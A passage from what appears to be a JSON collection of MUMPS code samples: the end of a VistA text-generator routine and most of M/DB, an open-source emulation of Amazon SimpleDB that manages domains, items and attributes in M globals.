    "content": "GMRGPNB0 ;CISC/JH/RM-NARRATIVE BUILDER FOR TEXT GENERATOR (cont.) ;6/20/91\n ;;3.0;Text Generator;;Jan 24, 1996\nTEXT ; ENTRY WITH GMRGA SET TO POINT AT WHICH WANT TO START BUILDING TEXT\n S (GMRGE0,GMRGADD)=\"\"\n Q:'$D(^GMR(124.3,GMRGPDA,1,\"ALIST\",GMRGA0))&GMRGCSW  Q:('$D(^GMR(124.3,\"B\",GMRGA0,GMRGPDA))&'$D(^GMR(124.3,GMRGPDA,1,\"B\",GMRGA0)))&'GMRGCSW  D NOW^%DTC\n S GMRGB0=$O(^GMR(124.3,GMRGPDA,1,\"B\",GMRGA0,0)) I GMRGB0>0 S GMRGST=GMRGB0,GMRGST(1)=GMRGPDA,GMRGST(2)=$S(GMRGCSW=1:%,1:GMRGPDT) D STAT^GMRGRUT0 S GMRGF0=GMRGSTAT,GMRGST=GMRGB0,GMRGST(1)=GMRGPDA,GMRGST(2)=GMRGPDT D STAT^GMRGRUT0\n I GMRGB0>0 S GMRGE0=$S($P(GMRGSTAT,\"^\",3)=1:\"\",$P(GMRGSTAT,\"^\")=$P(GMRGF0,\"^\"):$S($D(^GMR(124.3,GMRGPDA,1,GMRGB0,0)):$P(^(0),\"^\",2),1:\"\"),1:$S($D(^GMR(124.3,GMRGPDA,1,GMRGB0,2,+$P(GMRGSTAT,\"^\"),0)):$P(^(0),\"^\",4),1:\"\"))\n I  S GMRGADD=$S($P(GMRGSTAT,\"^\",3)=1:\"\",$P(GMRGSTAT,\"^\")=$P(GMRGF0,\"^\"):$S($D(^GMR(124.3,GMRGPDA,1,GMRGB0,\"ADD\")):\"1;\"_GMRGB0_\";0\",1:\"\"),1:$S($D(^GMR(124.3,GMRGPDA,1,GMRGB0,2,$P(GMRGSTAT,\"^\"),\"ADD\")):\"1;\"_GMRGB0_\";2;\"_$P(GMRGSTAT,\"^\"),1:\"\"))\n S GMRGE0(0)=$S($D(^GMRD(124.2,GMRGA0,0)):^(0),1:\"\"),GMRGE0(4)=$S($D(^GMRD(124.2,GMRGA0,4)):^(4),1:\"\"),GMRGE0(5)=$S($D(^GMRD(124.2,GMRGA0,5)):^(5),1:\"\") Q:$P(GMRGE0(0),\"^\",2)=3&GMRGSSW\n I \"S\"[$P(GMRGE0(0),\"^\",8)!GMRGSSW D SNT^GMRGPNB1 Q\n S GMRGNAR=GMRGPAR_\"^\"_$P(GMRGE0(0),\"^\",8)_\"^\"_GMRGSPC_\"^^\"_GMRGRM,GMRGNAR(0)=$P(GMRGE0(0),\"^\")_\"^\"_GMRGE0,GMRGNAR(\"LEAD\")=GMRGE0(4),GMRGNAR(\"TRAIL\")=GMRGE0(5) D STORETXT^GMRGRUT1\n S GMRGSPC=GMRGSPC+3\n F GMRGD0=0:0 S GMRGD0=$O(^GMRD(124.2,GMRGA0,1,GMRGD0)) Q:GMRGD0'>0  D RECUR\n Q:'GMRGADD\n S GMRGNAR=GMRGPAR_\"^T^\"_GMRGSPC_\"^^\"_GMRGRM,GMRGNAR(\"LEAD\")=\"Additional Text: \",GMRGNAR(\"TRAIL\")=\"\"\n S GMRGNAR(0)=$S('$P(GMRGADD,\";\",3):^GMR(124.3,GMRGPDA,1,$P(GMRGADD,\";\",2),\"ADD\"),1:^GMR(124.3,GMRGPDA,1,$P(GMRGADD,\";\",2),2,$P(GMRGADD,\";\",4),\"ADD\")) D STORETXT^GMRGRUT1\n Q\nRECUR ;\n Q:'$$ALIST^GMRGRUT0(GMRGPDA,GMRGA0,+$G(^GMRD(124.2,+GMRGA0,1,+GMRGD0,0)))\n S ^TMP($J,\"GMRGPLVL\",GMRGPLVL)=GMRGA0_\"^\"_GMRGD0_\"^\"_GMRGSPC_\"^\"_GMRGSSW_\"^\"_GMRGADD,GMRGPLVL=GMRGPLVL+1,GMRGA0=$S($D(^GMRD(124.2,GMRGA0,1,GMRGD0,0)):$P(^(0),\"^\"),1:\"\")\n D TEXT\n S GMRGPLVL=GMRGPLVL-1,GMRGI0=^TMP($J,\"GMRGPLVL\",GMRGPLVL),GMRGA0=$P(GMRGI0,\"^\"),GMRGD0=$P(GMRGI0,\"^\",2),GMRGSPC=$P(GMRGI0,\"^\",3),GMRGSSW=$P(GMRGI0,\"^\",4),GMRGADD=$P(GMRGI0,\"^\",5)\n Q\n"
  },
  {
    "path": "samples/M/MDB.m",
    "content": "MDB ; M/DB: Mumps Emulation of Amazon SimpleDB\n ;\n ; ----------------------------------------------------------------------------\n ; | M/DB                                                                     |\n ; | Copyright (c) 2004-11 M/Gateway Developments Ltd,                        |\n ; | Reigate, Surrey UK.                                                      |\n ; | All rights reserved.                                                     |\n ; |                                                                          |\n ; | http://www.mgateway.com                                                  |\n ; | Email: rtweed@mgateway.com                                               |\n ; |                                                                          |\n ; | This program is free software: you can redistribute it and/or modify     |\n ; | it under the terms of the GNU Affero General Public License as           |\n ; | published by the Free Software Foundation, either version 3 of the       |\n ; | License, or (at your option) any later version.                          |\n ; |                                                                          |\n ; | This program is distributed in the hope that it will be useful,          |\n ; | but WITHOUT ANY WARRANTY; without even the implied warranty of           |\n ; | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the            |\n ; | GNU Affero General Public License for more details.                      |\n ; |                                                                          |\n ; | You should have received a copy of the GNU Affero General Public License |\n ; | along with this program.  If not, see <http://www.gnu.org/licenses/>.    |\n ; ----------------------------------------------------------------------------\n ;\n ;\nversion()\t\n\tQUIT \"44\"\n\t;\nbuildDate()\t\n\tQUIT \"06 July 2011\"\n\t;\nindexLength()\n QUIT 180\n ;\n ; Note: keyId will have been tested and must be valid\n ; by the time these methods are called\n ;\n ; To Initialise the service: http://192.168.1.xxx/mdb/test.mgwsi?Action=Initialise\n ;\naddUser(userKeyId,userSecretKey,requestId,boxUsage)\n ;\n n startTime,stop\n ;\n s requestId=$$init(.startTime)\n s ^MDBUAF(\"keys\",userKeyId)=userSecretKey\n QUIT $$end(startTime,.boxUsage)\n ;\ncreateDomain(keyId,domainName,requestId,boxUsage)\n ;\n n dn,dnx,id,noOfDomains,startTime,token\n ;\n s requestId=$$init(.startTime)\n s keyId=$g(keyId)\n i keyId=\"\" QUIT $$end(startTime,.boxUsage,\"MissingParameter\",\"AWSAccessKeyId\")\n s domainName=$g(domainName)\n i domainName=\"\" QUIT $$end(startTime,.boxUsage,\"MissingParameter\",\"DomainName\")\n s dn=$tr(domainName,\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_-.\",\"\")\n i dn'=\"\" QUIT $$end(startTime,.boxUsage,\"InvalidParameterValue\",domainName,\"DomainName\")\n ;\n s noOfDomains=+$g(^MDB(keyId))\n i $g(^MDBConfig(\"DomainsPerAccount\"))'=\"\",noOfDomains=^MDBConfig(\"DomainsPerAccount\") QUIT $$end(startTime,.boxUsage,\"NumberDomainsExceeded\")\n s dnx=$e(domainName,1,$$indexLength())\n i '$$domainExists(keyId,domainName) d\n . s noOfDomains=$increment(^MDB(keyId))\n . s id=$increment(^MDB(keyId,\"domains\"))\n . s ^MDB(keyId,\"domains\",id,\"name\")=domainName\n . s ^MDB(keyId,\"domains\",id,\"created\")=$h\n . d updateDomainMetaData(keyId,id)\n . s ^MDB(keyId,\"domainIndex\",dnx,id)=\"\"\n ;\n QUIT $$end(startTime,.boxUsage)\n ;\nupdateDomainMetaData(keyId,id)\n ;\n s ^MDB(keyId,\"domains\",id,\"modified\")=$h\n QUIT\n ;\ngetDomainMetaData(keyId,domainId,metaData)\n ;\n n size,timestamp\n ;\n k metaData\n s timestamp=$g(^MDB(keyId,\"domains\",domainId,\"modified\"))\n s timestamp=$$convertToEpochTime(timestamp)\n s metaData(\"Timestamp\")=timestamp\n s metaData(\"ItemCount\")=$$countItems(keyId,domainId,.size)_\".0\"\n s metaData(\"ItemNamesSizeBytes\")=size_\".0\"\n s metaData(\"AttributeValueCount\")=$$countNVPs(keyId,domainId,.size)_\".0\"\n s metaData(\"AttributeValuesSizeBytes\")=size_\".0\"\n s metaData(\"AttributeNameCount\")=$$countAttributeNames(keyId,domainId,.size)_\".0\"\n s metaData(\"AttributeNamesSizeBytes\")=size_\".0\"\n QUIT\n ;\ndomainMetadata(keyId,domainName,metaData,requestId,boxUsage)\n ;\n n domainId,startTime\n ;\n s requestId=$$init(.startTime)\n s keyId=$g(keyId)\n i keyId=\"\" QUIT $$end(startTime,.boxUsage,\"MissingParameter\",\"AWSAccessKeyId\")\n s domainName=$g(domainName)\n i domainName=\"\" QUIT $$end(startTime,.boxUsage,\"MissingParameter\",\"DomainName\")\n s domainId=$$getDomainId(keyId,domainName)\n i domainId=\"\" QUIT $$end(startTime,.boxUsage,\"NoSuchDomain\",\"The specified domain does not exist.\")\n ;\n d getDomainMetaData(keyId,domainId,.metaData)\n ;\n QUIT $$end(startTime,.boxUsage)\n ;\nconvertToEpochTime(dh)\n ;\n n time\n ;\n s time=(dh*86400)+$p(dh,\",\",2)\n s time=time-4070908800\n QUIT time\n ;\nconvertFromEpochTime(time)\n ;\n n dh\n ;\n s time=time+4070908800\n s dh=time\\86400\n s time=time#86400\n QUIT dh_\",\"_time\n ;\ncountItems(keyId,domainId,size)\n ;\n n count,id\n ;\n s id=\"\",count=0,size=0\n f  s id=$o(^MDB(keyId,\"domains\",domainId,\"items\",id)) q:id=\"\"  d\n . s count=count+1\n . s size=size+$l(^MDB(keyId,\"domains\",domainId,\"items\",id))\n QUIT count\n ;\ncountNVPs(keyId,domainId,size)\n ;\n n attribId,count,itemId,valueId\n ;\n s itemId=\"\",count=0,size=0\n f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"items\",itemId)) q:itemId=\"\"  d\n . s attribId=0\n . f  s attribId=$o(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId)) q:attribId=\"\"  d\n . . s valueId=\"\"\n . . f  s valueId=$o(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\",valueId)) q:valueId=\"\"  d\n . . . s count=count+1\n . . . s size=size+$l(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\",valueId))\n QUIT count\n ;\ncountAttributeNames(keyId,domainId,size)\n ;\n n attribId,count,name\n ;\n s attribId=0,count=0,size=0\n f  s attribId=$o(^MDB(keyId,\"domains\",domainId,\"attribs\",attribId)) q:attribId=\"\"  d\n . s count=count+1\n . s name=^MDB(keyId,\"domains\",domainId,\"attribs\",attribId)\n . s size=size+$l(name)\n QUIT count\n ;\n \ndomainExists(keyId,name)\n ;\n n id\n ;\n s id=$$getDomainId($g(keyId),$g(name))\n QUIT (id'=\"\")\n ;\ngetDomainId(keyId,name)\n ;\n n found,id,namex\n ;\n i $g(name)=\"\" QUIT \"\"\n i $g(keyId)=\"\" QUIT \"\"\n s namex=$e(name,1,$$indexLength())\n s id=\"\",found=0\n f  s id=$o(^MDB(keyId,\"domainIndex\",namex,id)) q:id=\"\"  d  q:found\n . i $g(^MDB(keyId,\"domains\",id,\"name\"))=name s found=1\n i id'=\"\",'$d(^MDB(keyId,\"domains\",id,\"attribs\",0)) d buildItemNameIndex(keyId,id)\n QUIT id\n ;\nbuildItemNameIndex(keyId,domainId)\n ;\n n itemId,itemValue,itemValuex\n ;\n s ^MDB(keyId,\"domains\",domainId,\"attribs\",0)=\"itemName()\"\n s ^MDB(keyId,\"domains\",domainId,\"attribsIndex\",\"itemName()\",0)=\"\"\n s itemId=\"\"\n f  s itemId=$o(^MDB(keyId,\"domains\",domainId,\"items\",itemId)) q:itemId=\"\"  d\n . s itemValue=^MDB(keyId,\"domains\",domainId,\"items\",itemId)\n . s itemValuex=$e(itemValue,1,$$indexLength())\n . s ^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",0,\"value\")=1\n . s ^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",0,\"value\",1)=itemValue\n . s ^MDB(keyId,\"domains\",domainId,\"queryIndex\",0,itemValuex,itemId)=\"\"\n QUIT \n ;\ncountDomains(key)\n ;\n n id,no\n ;\n s id=\"\",no=0\n f  s id=$o(^MDB(key,\"domains\",id)) q:id=\"\"  s no=no+1\n QUIT no\n ;\ndeleteDomain(keyId,domainName,requestId,boxUsage)\n ;\n n dn,dnx,id,noOfDomains,startTime,token\n ;\n s requestId=$$init(.startTime)\n s keyId=$g(keyId)\n i keyId=\"\" QUIT $$end(startTime,.boxUsage,\"MissingParameter\",\"AWSAccessKeyId\")\n s domainName=$g(domainName)\n i domainName=\"\" QUIT $$end(startTime,.boxUsage,\"MissingParameter\",\"DomainName\")\n s id=$$getDomainId(keyId,domainName)\n i id=\"\" QUIT $$end(startTime,.boxUsage)\n k ^MDB(keyId,\"domains\",id)\n k ^MDB(keyId,\"domainIndex\",$e(domainName,1,$$indexLength()),id)\n s noOfDomains=$$countDomains(keyId)\n i noOfDomains>0 d\n . s ^MDB(keyId)=noOfDomains\n e  d\n . k ^MDB(keyId)\n ;\n QUIT $$end(startTime,.boxUsage)\n ;\nlistDomains(keyId,maxNoOfDomains,nextToken,domainList,requestId,boxUsage)\n ;\n n domainName,fullName,id,noOfDomains,startTime,stop,token\n ;\n s requestId=$$init(.startTime)\n s keyId=$g(keyId)\n i keyId=\"\" QUIT $$end(startTime,.boxUsage,\"MissingParameter\",\"AWSAccessKeyId\")\n k domainList s noOfDomains=0,stop=0\n i $g(nextToken)=\"\" d\n . s domainName=\"\"\n e  d\n . s domainName=$$decodeBase64(nextToken)\n s nextToken=\"\"\n f  s domainName=$o(^MDB(keyId,\"domainIndex\",domainName)) q:domainName=\"\"  d  q:stop\n . s id=\"\"\n . f  s id=$o(^MDB(keyId,\"domainIndex\",domainName,id)) q:id=\"\"  d\n . . s fullName=$g(^MDB(keyId,\"domains\",id,\"name\"))\n . . s noOfDomains=noOfDomains+1\n . . s domainList(noOfDomains)=fullName\n . i noOfDomains=maxNoOfDomains d  q\n . . s stop=1\n . . s nextToken=$$encodeBase64(domainName)\n ;\n QUIT $$end(startTime,.boxUsage)\n ;\nitemExists(keyId,domainId,name)\n ;\n n id\n ;\n s id=$$getItemId($g(keyId),$g(domainId),$g(name))\n QUIT (id'=\"\")\n ;\ngetItemId(keyId,domainId,name)\n ;\n n found,id,namex\n ;\n i $g(domainId)=\"\" QUIT \"\"\n i $g(name)=\"\" QUIT \"\"\n i $g(keyId)=\"\" QUIT \"\"\n i domainId=\"\" QUIT \"\"\n s namex=$e(name,1,$$indexLength())\n s id=\"\",found=0\n f  s id=$o(^MDB(keyId,\"domains\",domainId,\"itemIndex\",namex,id)) q:id=\"\"  d  q:found\n . i $g(^MDB(keyId,\"domains\",domainId,\"items\",id))=name s found=1\n QUIT id\n ;\ngetAttributeId(keyId,domainId,name)\n ;\n n found,id,namex\n ;\n i $g(domainId)=\"\" QUIT \"\"\n i $g(name)=\"\" QUIT \"\"\n i $g(keyId)=\"\" QUIT \"\"\n i domainId=\"\" QUIT \"\"\n s namex=$e(name,1,$$indexLength())\n s id=\"\",found=0\n f  s id=$o(^MDB(keyId,\"domains\",domainId,\"attribsIndex\",namex,id)) q:id=\"\"  d  q:found\n . i $g(^MDB(keyId,\"domains\",domainId,\"attribs\",id))'=name q\n . s found=1\n QUIT id\n ;\ngetAttributeValueId(keyId,domainId,itemId,attribId,value)\n ;\n n found,id,valuex\n ;\n i $g(domainId)=\"\" QUIT \"\"\n i '$d(value) QUIT \"\"\n i $g(keyId)=\"\" QUIT \"\"\n i domainId=\"\" QUIT \"\"\n i value=\"\" s value=$c(31)\n s itemId=$g(itemId)\n i itemId=\"\" QUIT \"\"\n s valuex=$e(value,1,$$indexLength())\n s id=\"\",found=0\n f  s id=$o(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"valueIndex\",valuex,id)) q:id=\"\"  d  q:found\n . i $g(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\",id))'=value q\n . s found=1\n QUIT id\n \nputAttributes(keyId,domainName,itemName,attributes,requestId,boxUsage)\n ;\n n attribId,domainId,itemId,name,namex,no,replace,startTime,value,valueId,valuex,xvalue\n ;\n s requestId=$$init(.startTime)\n s keyId=$g(keyId)\n i keyId=\"\" QUIT $$end(startTime,.boxUsage,\"MissingParameter\",\"AWSAccessKeyId\")\n s domainName=$g(domainName)\n i domainName=\"\" QUIT $$end(startTime,.boxUsage,\"MissingParameter\",\"DomainName\")\n s domainId=$$getDomainId(keyId,domainName)\n i domainId=\"\" QUIT $$end(startTime,.boxUsage,\"NoSuchDomain\",\"The specified domain does not exist.\")\n s itemName=$g(itemName)\n i itemName=\"\" QUIT $$end(startTime,.boxUsage,\"MissingParameter\",\"ItemName\")\n s itemId=$$getItemId(keyId,domainId,itemName)\n i itemId=\"\" d\n . ; add Item to Domain if it's new\n . n itemNamex\n . s itemNamex=$e(itemName,1,$$indexLength())\n . s itemId=$increment(^MDB(keyId,\"domains\",domainId,\"items\"))\n . s ^MDB(keyId,\"domains\",domainId,\"itemIndex\",itemNamex,itemId)=\"\"\n . s ^MDB(keyId,\"domains\",domainId,\"items\",itemId)=itemName\n . s ^MDB(keyId,\"domains\",domainId,\"attribs\",0)=\"itemName()\"\n . s ^MDB(keyId,\"domains\",domainId,\"attribsIndex\",\"itemName()\",0)=\"\"\n . s ^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",0,\"value\")=1\n . s ^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",0,\"value\",1)=itemName\n . s ^MDB(keyId,\"domains\",domainId,\"queryIndex\",0,itemNamex,itemId)=\"\"\n ;\n ; attributes(no,\"name\")=attribute name\n ; attributes(no,\"value\")=attribute value\n ; attributes(no,\"replace\")=1\n ;\n s no=\"\"\n f  s no=$o(attributes(no)) q:no=\"\"  d\n . s name=$g(attributes(no,\"name\"))\n . s value=$g(attributes(no,\"value\"))\n . i value=\"\" s value=$c(31)\n . s replace=+$g(attributes(no,\"replace\"))\n . s namex=$e(name,1,$$indexLength())\n . s valuex=$e(value,1,$$indexLength())\n . s attribId=$$getAttributeId(keyId,domainId,name)\n . i attribId=\"\" d\n . . ; add new attribute name to the domain\n . . s attribId=$increment(^MDB(keyId,\"domains\",domainId,\"attribs\"))\n . . s ^MDB(keyId,\"domains\",domainId,\"attribs\",attribId)=name\n . . s ^MDB(keyId,\"domains\",domainId,\"attribsIndex\",namex,attribId)=\"\"\n . s valueId=$$getAttributeValueId(keyId,domainId,itemId,attribId,value)\n . i 'replace,valueId'=\"\" q  ; Not allowed to have more than one attribute with the same name and value\n . i replace d\n . . ; first remove any existing values for this attribute name\n . . f  s valueId=$o(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\",valueId)) q:valueId=\"\"  d\n . . . s xvalue=^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\",valueId)\n . . . k ^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"valueIndex\",xvalue,valueId)\n . . . k ^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue,itemId)\n . . k ^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\")\n . ; now add the new attribute name/value pair\n . s valueId=$increment(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\"))\n . s ^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\",valueId)=value\n . s ^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"valueIndex\",valuex,valueId)=\"\"\n . s ^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,valuex,itemId)=\"\"\n ;\n d updateDomainMetaData(keyId,domainId)\n QUIT $$end(startTime,.boxUsage)\n ;\nbatchPutItem(keyId,domainId,itemName,attributesJSON)\n ;\n n attribId,attributes,error,itemId,name,namex,no,replace,value,valueId,valuex,xvalue\n ;\n ;d trace^zmwire(\"batchPutItem: keyid=\"_keyId_\"; domainId=\"_domainId_\"; itemName=\"_itemName_\"; attributes=\"_attributesJSON)\n s itemName=$g(itemName)\n i itemName=\"\" QUIT 0\n s itemId=$$getItemId(keyId,domainId,itemName)\n i itemId=\"\" d\n . ; add Item to Domain if it's new\n . n itemNamex\n . s itemNamex=$e(itemName,1,$$indexLength())\n . s itemId=$increment(^MDB(keyId,\"domains\",domainId,\"items\"))\n . s ^MDB(keyId,\"domains\",domainId,\"itemIndex\",itemNamex,itemId)=\"\"\n . s ^MDB(keyId,\"domains\",domainId,\"items\",itemId)=itemName\n . s ^MDB(keyId,\"domains\",domainId,\"attribs\",0)=\"itemName()\"\n . s ^MDB(keyId,\"domains\",domainId,\"attribsIndex\",\"itemName()\",0)=\"\"\n . s ^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",0,\"value\")=1\n . s ^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",0,\"value\",1)=itemName\n . s ^MDB(keyId,\"domains\",domainId,\"queryIndex\",0,itemNamex,itemId)=\"\"\n ;\n s error=$$parseJSON^zmwire(attributesJSON,.attributes,1)\n ;\n ; attributes(no,\"name\")=attribute name\n ; attributes(no,\"value\")=attribute value\n ; attributes(no,\"replace\")=1\n ;\n s no=\"\"\n f  s no=$o(attributes(no)) q:no=\"\"  d\n . s name=$g(attributes(no,\"name\"))\n . s value=$g(attributes(no,\"value\"))\n . i value=\"\" s value=$c(31)\n . s replace=+$g(attributes(no,\"replace\"))\n . s namex=$e(name,1,$$indexLength())\n . s valuex=$e(value,1,$$indexLength())\n . s attribId=$$getAttributeId(keyId,domainId,name)\n . i attribId=\"\" d\n . . ; add new attribute name to the domain\n . . s attribId=$increment(^MDB(keyId,\"domains\",domainId,\"attribs\"))\n . . s ^MDB(keyId,\"domains\",domainId,\"attribs\",attribId)=name\n . . s ^MDB(keyId,\"domains\",domainId,\"attribsIndex\",namex,attribId)=\"\"\n . s valueId=$$getAttributeValueId(keyId,domainId,itemId,attribId,value)\n . i 'replace,valueId'=\"\" q  ; Not allowed to have more than one attribute with the same name and value\n . i replace d\n . . ; first remove any existing values for this attribute name\n . . f  s valueId=$o(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\",valueId)) q:valueId=\"\"  d\n . . . s xvalue=^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\",valueId)\n . . . k ^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"valueIndex\",xvalue,valueId)\n . . . k ^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,xvalue,itemId)\n . . k ^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\")\n . ; now add the new attribute name/value pair\n . s valueId=$increment(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\"))\n . s ^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\",valueId)=value\n . s ^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"valueIndex\",valuex,valueId)=\"\"\n . s ^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,valuex,itemId)=\"\"\n QUIT 1\n ;\ngetAttributes(keyId,domainName,itemName,attributes,requestId,boxUsage,suppressBoxUsage)\n ;\n n attribId,attrNo,domainId,itemId,name,startTime,value,valueId,valueNo\n ;\n s requestId=\"\"\n i '$g(suppressBoxUsage) s requestId=$$init(.startTime)\n s keyId=$g(keyId)\n i keyId=\"\" QUIT $$end(startTime,.boxUsage,\"MissingParameter\",\"AWSAccessKeyId\")\n s domainName=$g(domainName)\n i domainName=\"\" QUIT $$end(startTime,.boxUsage,\"MissingParameter\",\"DomainName\")\n s domainId=$$getDomainId(keyId,domainName)\n i domainId=\"\" QUIT $$end(startTime,.boxUsage,\"NoSuchDomain\",\"The specified domain does not exist.\")\n s itemName=$g(itemName)\n i itemName=\"\" QUIT $$end(startTime,.boxUsage,\"MissingParameter\",\"ItemName\")\n s itemId=$$getItemId(keyId,domainId,itemName)\n i itemId=\"\" QUIT $$end(startTime,.boxUsage,\"NoSuchItemName\",\"The specified ItemName does not exist.\")\n ;\n ; attributes(no)=attribute name\n ; attributes(no,\"value\",vno)=attribute value\n ;\n i '$d(attributes) d\n . s name=\"\",attrNo=0\n . f  s name=$o(^MDB(keyId,\"domains\",domainId,\"attribsIndex\",name)) q:name=\"\"  d \n . . s attribId=0\n . . f  s attribId=$o(^MDB(keyId,\"domains\",domainId,\"attribsIndex\",name,attribId)) q:attribId=\"\"  d\n . . . i '$d(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId)) q\n . . . s attrNo=attrNo+1\n . . . s attributes(attrNo)=^MDB(keyId,\"domains\",domainId,\"attribs\",attribId)\n . . . s valueId=\"\",valueNo=0\n . . . f  s valueId=$o(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\",valueId)) q:valueId=\"\"  d\n . . . . s value=^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\",valueId)\n . . . . s valueNo=valueNo+1\n . . . . i value=$c(31) s value=\"\"\n . . . . s attributes(attrNo,\"value\",valueNo)=value\n e  d\n . s attrNo=\"\"\n . f  s attrNo=$o(attributes(attrNo)) q:attrNo=\"\"  d\n . . s name=attributes(attrNo)\n . . s attribId=$$getAttributeId(keyId,domainId,name)\n . . i attribId=\"\" q\n . . s valueId=\"\",valueNo=0\n . . f  s valueId=$o(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\",valueId)) q:valueId=\"\"  d\n . . . s value=^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\",valueId)\n . . . s valueNo=valueNo+1\n . . . i value=$c(31) s value=\"\"\n . . . s attributes(attrNo,\"value\",valueNo)=value\n . . . ;i $g(^zewd(\"trace\")) d trace($h_\": attributes(\"_attrNo_\",value,\"_valueNo_\")=\"_value)\n ;\n i $g(suppressBoxUsage) QUIT \"\"\n QUIT $$end(startTime,.boxUsage)\n ;\ndeleteAttributes(keyId,domainName,itemName,attributes,requestId,boxUsage)\n ;\n n attribId,attrNo,domainId,itemId,name,namex,startTime,value,valueId,valueNo,valuex\n ;\n s requestId=$$init(.startTime)\n s keyId=$g(keyId)\n i keyId=\"\" QUIT $$end(startTime,.boxUsage,\"MissingParameter\",\"AWSAccessKeyId\")\n s domainName=$g(domainName)\n i domainName=\"\" QUIT $$end(startTime,.boxUsage,\"MissingParameter\",\"DomainName\")\n s domainId=$$getDomainId(keyId,domainName)\n i domainId=\"\" QUIT $$end(startTime,.boxUsage,\"NoSuchDomain\",\"The specified domain does not exist.\")\n s itemName=$g(itemName)\n i itemName=\"\" QUIT $$end(startTime,.boxUsage,\"MissingParameter\",\"ItemName\")\n s itemId=$$getItemId(keyId,domainId,itemName)\n i itemId=\"\" QUIT $$end(startTime,.boxUsage,\"NoSuchItemName\",\"The specified ItemName does not exist.\")\n i '$d(attributes) d\n . ; delete all attributes for this item, first the associated queryIndex records\n . s attribId=\"\"\n . f  s attribId=$o(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId)) q:attribId=\"\"  d\n . . s valuex=\"\"\n . . f  s valuex=$o(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"valueIndex\",valuex)) q:valuex=\"\"  d\n . . . k ^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,valuex,itemId)\n . k ^MDB(keyId,\"domains\",domainId,\"items\",itemId)\n . s namex=$e(itemName,1,$$indexLength())\n . k ^MDB(keyId,\"domains\",domainId,\"itemIndex\",namex,itemId)\n e  d\n . ;delete the specified attribute name/value pairs\n . ; attributes(no)=name\n . ; attributes(no,\"value\",vno)=value\n . s attrNo=\"\"\n . f  s attrNo=$o(attributes(attrNo)) q:attrNo=\"\"  d\n . . s name=$g(attributes(attrNo))\n . . i name=\"\" q\n . . s attribId=$$getAttributeId(keyId,domainId,name)\n . . i attribId=\"\" q\n . . s valueNo=\"\"\n . . f  s valueNo=$o(attributes(attrNo,\"value\",valueNo)) q:valueNo=\"\"  d\n . . . s value=attributes(attrNo,\"value\",valueNo)\n . . . s valueId=$$getAttributeValueId(keyId,domainId,itemId,attribId,value)\n . . . i valueId=\"\" q\n . . . ; remove specified value\n . . . s valuex=$e(value,1,$$indexLength())\n . . . k ^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"valueIndex\",valuex,valueId)\n . . . k ^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\",valueId)\n . . . k ^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId,valuex,itemId)\n . . ; if no values are left, completely remove attribute from item\n . . i $o(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\",\"\"))=\"\" d\n . . . k ^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",attribId,\"value\")\n . . ; if no references left to this attribute name, remove the attribute name\n . . i '$d(^MDB(keyId,\"domains\",domainId,\"queryIndex\",attribId)) d\n . . . s namex=$e(name,1,$$indexLength())\n . . . k ^MDB(keyId,\"domains\",domainId,\"attribs\",attribId)\n . . . k ^MDB(keyId,\"domains\",domainId,\"attribsIndex\",namex,attribId)\n . ; if no attributes are left, remove the item\n . i $o(^MDB(keyId,\"domains\",domainId,\"items\",itemId,\"attribs\",\"\"))=\"\" d\n . . k ^MDB(keyId,\"domains\",domainId,\"items\",itemId)\n . . s namex=$e(itemName,1,$$indexLength())\n . . k 